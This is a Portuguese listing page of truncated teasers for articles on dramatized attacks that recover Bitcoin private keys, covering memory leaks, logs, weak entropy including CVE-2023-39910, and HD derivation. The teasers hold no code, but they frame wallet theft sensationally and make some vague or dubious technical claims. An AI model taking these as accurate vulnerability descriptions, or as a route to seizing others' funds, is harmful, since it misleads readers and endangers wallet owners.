  • Base58 Ghost Attack: Controle total sobre os fundos da vítima. Uma vulnerabilidade crítica no processamento de memória não saneada de codificação Base58, onde ocorre um ataque para vazar chaves privadas da memória e capturar completamente as moedas BTC pelo atacante. “Base58 Ghost Attack” — extração de chaves privadas da memória não limpa após operações de codificação base58. Em conclusão, a vulnerabilidade crítica descoberta no processamento de chaves privadas via codificação base58 representa…Leia Mais
  • Spectral Seed Siphon: Como bytes residuais da memória revelam chaves privadas de carteiras Bitcoin perdidas e se tornam um caminho para recuperar chaves privadas, permitindo que um atacante roube todas as moedas BTC Spectral Seed Siphon A vulnerabilidade de exclusão incompleta de dados secretos da RAM em carteiras criptográficas representa uma das ameaças mais críticas ao ecossistema Bitcoin moderno. No…Leia Mais
  • Binary Extractor Attack: Como um estrangulamento digital sobre chaves privadas exerce controle sobre os fundos Bitcoin da vítima, onde um atacante explora uma classe Binary vulnerável e muda as regras do jogo ao encapsular e realizar roubo em massa de moedas BTC. Binary Extractor Attack: Private Byte Strangler Uma vulnerabilidade crítica chamada Binary Extractor Attack: Private Byte Strangler ilustra o perigo fundamental de não aderir ao encapsulamento estrito em aplicações criptográficas…Leia Mais
  • Spectral String Leak: Um comprometimento em massa de carteiras Bitcoin por meio de memória residual e uma vulnerabilidade crítica de gerenciamento de strings na rede Bitcoin, permitindo que um atacante recupere uma chave privada e se aproprie de todas as criptomoedas ativas. Spectral String Leak Attack Um Spectral String Leak Attack é uma vulnerabilidade crítica que pode levar à perda total de bitcoins de usuários e serviços devido a segurança insuficiente…Leia Mais
  • Memory Phantom Attack: Uma vulnerabilidade crítica de vazamento de memória no Bitcoin, que leva à recuperação de chaves privadas de RAM não limpa e à captura gradual de frases-semente BTC por um atacante, pode levar ao comprometimento imediato de carteiras e ao roubo em massa de ativos digitais. Memory Phantom Attack Um Memory Phantom Leak Attack ou Sensitive Memory Disclosure é uma categoria de ameaça real e reconhecida para o Bitcoin (e outras criptomoedas), registrada no CVE como um…Leia Mais
  • Log Whisper Attack: Como ocorre um vazamento catastrófico de chaves privadas e um comprometimento irreversível de carteiras Bitcoin, onde um atacante transforma um arquivo de log comum em uma ferramenta para interceptar todos os fundos da vítima na rede BTC. Log Whisper Attack A vulnerabilidade «Log Whisper Attack» é um exemplo de erro crítico de desenvolvimento com consequências irreversíveis. A única defesa eficaz é uma proibição arquitetônica de chaves privadas…Leia Mais
  • Salt Drain Attack (CVE-2023-39910): Uma vulnerabilidade crítica na entropia do Libbitcoin Explorer e recuperação completa de chaves privadas com a apreensão de fundos de carteiras BTC. A falha total na entropia do proprietário permitiu que um atacante roubasse todas as moedas BTC ativas. Salt Drain Attack CVE-2023-39910: (ataque Milk Sad) O ataque Milk Sad (CVE-2023-39910) permitiu que atacantes recuperassem em massa as chaves privadas de carteiras Bitcoin criadas com o Libbitcoin Explorer 3.x, causando perdas financeiras significativas…Leia Mais
  • Entropy Recovery Attack: O espectro da entropia contra o Bitcoin: uma vulnerabilidade na geração de números aleatórios e a perda de dados secretos, incluindo a recuperação de chaves privadas e o controle total dos fundos BTC por um atacante. «Entropy Ghost Attack» — Batalha com o Fantasma da Entropia A vulnerabilidade de geração de entropia do libbitcoin (CVE-2023-39910) é uma falha rara e catastrófica que pode não apenas enfraquecer parcialmente o criptossistema, mas completamente…Leia Mais
  • Slice Phantom Attack: Como Bugs de Implementação Transformam Chaves Privadas Bitcoin Perdidas em uma Ferramenta de Controle Total para um Atacante, Onde uma Nova Classe de Ataques de Canal Lateral de Implementação: Comprometer um Segredo e Perder o Controle para o Proprietário de uma Carteira Bitcoin Slice Phantom Attack O Slice Phantom Attack   demonstra que  detalhes de implementação  são tão importantes quanto a robustez matemática dos algoritmos. A ordenação incorreta das operações e a falta de proteção para buffers temporários permitem…Leia Mais
  • Key Fragmentation Heist – Uma Nova Era de Fragmentação: Como Vazamentos Parciais se Tornam Roubos Completos de Ativos Bitcoin, Onde um Atacante Assume o Controle Total e Apreende Completamente os Fundos BTC por Meio de Vazamentos Fragmentados de Chaves Privadas e Dados Secretos Key Fragmentation Heist Attack Key Fragmentation Heist Attack: O atacante transforma um objeto seguro usado para armazenar chaves privadas criptografadas em uma vulnerabilidade ao roubar a chave fragmento por fragmento, em vez de…Leia Mais
  • Stealth Hijack Attack: Recuperando chaves privadas e roubando completamente o BTC de uma vítima por meio de uma vulnerabilidade de serialização de script Bitcoin, onde o atacante cria uma carteira com o uso público de um script stealth personalizado, onde as chaves privadas são codificadas em seções ocultas da biblioteca LibBitcoin. Stealth Hijack é um ataque que explora um bug no processamento de scripts e rouba chaves secretas escondidas em uma estrutura de dados. Stealth Hijack Attack: Roubando Segredos de Script Em um «Stealth Hijack»…Leia Mais
  • MiniKey Mayhem Attack: Hacks em massa e aquisição completa dos fundos BTC das vítimas por meio de uma vulnerabilidade de ataque de força bruta de chave privada, onde um atacante apreende carteiras Bitcoin perdidas através de uma onda de mini-chaves de 22 caracteres usando o algoritmo KDF. MiniKey Mayhem Attack: Tempestade Direta Imagine um stormtrooper cibernético investindo contra um «Forte MiniKey» com um canhão SHA-256 de alta velocidade: Durante uma «tempestade direta,» o atacante dispara uma onda de mini-chaves de 22 caracteres…Leia Mais
  • Ataque Shaman’s Gate: derivação HD e uma vulnerabilidade invisível que permite a recuperação de chaves privadas e o roubo de todo o BTC por meio de chaves-mestre, onde o atacante gradualmente obtém controle total sobre os fundos de Bitcoin. Ataque Shaman’s Gate A classe de ataques «Shaman’s Gate Attack» é uma consequência fundamental da derivação não endurecida em carteiras HD, conforme confirmado por inúmeros hacks. Seguindo a prática de…Leia Mais
  • Ataque PhantomKey Heist: vazamento invisível de chaves privadas e recuperação de acesso a carteiras de Bitcoin perdidas com controle total sobre o saldo da vítima, onde o atacante, de forma amigável, injeta um módulo sobre a auditoria das chaves privadas PhantomKey Heist: um ataque invisível de captura de chaves privadas PhantomKey Heist transforma uma inocente chamada de operador C++ em um enorme assalto digital. Ataque PhantomKey Heist A crítica vulnerabilidade «PhantomKey Heist» demonstra…Leia Mais
  • Ataque RAMnesia: um criptohack baseado em RAM que permite a recuperação total de chaves privadas e o roubo completo de fundos de carteiras de Bitcoin perdidas. Um atacante explora a “Caixa Preta” da memória e dispara a vulnerabilidade de Vazamento de Chave Secreta, destruindo assim a segurança da criptomoeda Bitcoin. Ataque RAMnesia RAMnesia é um ousado ataque criptográfico em que um atacante transforma a RAM da vítima em uma «caixa preta» para caçar chaves privadas esquecidas. No cenário de ataque, o hacker…Leia Mais
  • Phantom Keysmith: entropia previsível como arma para a tomada completa da carteira de Bitcoin, onde um atacante adivinha a semente secreta forçando a geração por força bruta e recupera a chave privada usando entropia fraca de memória, roubando absolutamente todos os fundos BTC. Ataque Phantom Keysmith O atacante atua como um «ferreiro fantasma» que forja chaves privadas diretamente do éter da memória não inicializada. O ataque explora vulnerabilidades de criação e serialização ek_tokento forjar uma nova chave de trabalho por…Leia Mais
  • Ataque Konsole Leaker: um vazamento silencioso em que um atacante obtém controle total sobre os fundos BTC ao recuperar chaves privadas de logs, minando os princípios fundamentais da criptomoeda Bitcoin. Ataque Konsole Leaker O ataque, apelidado de «Ataque Konsole Leaker», é espetacular, facilmente reproduzível e extremamente perigoso para a maioria dos projetos com baixa higiene na saída interna de dados. O ataque explora uma chave privada descontrolada…Leia Mais

  • Read more